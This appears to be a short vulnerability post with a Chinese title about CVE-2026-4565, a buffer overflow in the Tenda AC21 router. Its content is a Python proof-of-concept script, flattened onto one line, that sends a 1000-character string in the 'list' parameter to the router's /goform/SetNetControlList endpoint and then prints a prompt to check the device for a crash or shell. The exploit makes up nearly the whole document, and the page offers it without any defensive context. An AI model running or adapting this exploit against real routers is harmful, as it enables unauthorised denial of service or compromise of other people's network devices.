CVE-2026-4565 Tenda AC21缓冲区溢出漏洞

import requests # Target URL (replace with actual IP) target_url = "http://192.168.0.1/goform/SetNetControlList" # Vulnerable parameter and payload # Sending a long string to trigger buffer overflow in 'list' parameter payload = { "list": "A" * 1000 # Adjust length based on buffer size analysis } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: # Send malicious POST request response = requests.post(target_url, data=payload, headers=headers, timeout=5) print("Request sent. Check device for crash or shell.") except requests.exceptions.RequestException as e: print(f"An error occurred: {e}")